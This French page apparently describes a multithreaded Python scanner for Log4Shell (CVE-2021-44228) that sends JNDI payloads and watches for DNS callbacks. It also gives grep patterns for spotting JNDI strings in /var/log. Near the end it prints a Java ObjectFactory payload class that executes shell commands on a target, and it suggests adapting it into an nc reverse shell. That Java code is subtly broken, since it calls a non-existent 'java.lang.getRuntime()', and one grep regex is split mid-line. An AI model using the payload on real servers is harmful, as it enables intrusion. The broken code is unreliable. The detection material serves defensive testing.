
Scanner Python multithreadé qui détecte Log4Shell (CVE-2021-44228) en envoyant des requêtes HTTP conçues avec des payloads JNDI et en surveillant les rappels DNS pour identifier les hôtes vulnérables.
Ce script est basé sur takito1812/log4j-detect
Le script « log4j-detect.py » développé en Python 3 est chargé de détecter si une liste d'URL est vulnérable à la CVE-2021-44228.
Pour ce faire, il envoie une requête GET en utilisant des threads (meilleures performances) à chacune des URL de la liste spécifiée. La requête GET contient un payload qui, en cas de succès, renvoie une requête DNS à Burp Collaborator / interactsh. Ce payload est envoyé dans un paramètre de test et dans les en-têtes « User-Agent » / « Referer » / « X-Forwarded-For » / « Authentication ». Enfin, si un hôte est vulnérable, un numéro d'identification apparaîtra dans le préfixe du sous-domaine du payload Burp Collaborator / interactsh et dans la sortie du script, permettant de savoir quel hôte a répondu via DNS.
Il convient de noter que ce script ne gère que la détection DNS de la vulnérabilité et ne teste pas l'exécution de commandes à distance.
python3 log4j-detect.py -s <burpCollaborator/interactsh...> [-u [urls]] [-f [urlFileList]] [-t THREADS] [-p PROXY] [--urllib3-warnings|--no-urllib3-warnings]

sudo egrep -i -r '\$\{jndi:(ldap[s]?|rmi)://[^\n]+' /var/log
sudo find /var/log -name \*.gz -print0 | xargs -0 zgrep -E -i '\$\{jndi:(ldap[
s]?|rmi)://[^\n]+'
Pour vérifier si quelqu'un a tenté une connexion via un serveur ldap
Voici un exemple de code que vous pouvez lancer pour tester si votre serveur peut être compromis (s'il s'agit d'un shell Windows, vous pouvez simplement utiliser la syntaxe PowerShell)
public class ExportObject implements javax.naming.spi.ObjectFactory {
public ExportObject() {
try {
java.lang.getRuntime().exec("touch ~/pwned");
java.lang.getRuntime().exec("ls ~");
} catch (Exception e) {
e.printStackTrace();
}
}
}
Quelque chose comme cela pourrait vous permettre d'établir un reverse shell avec la commande nc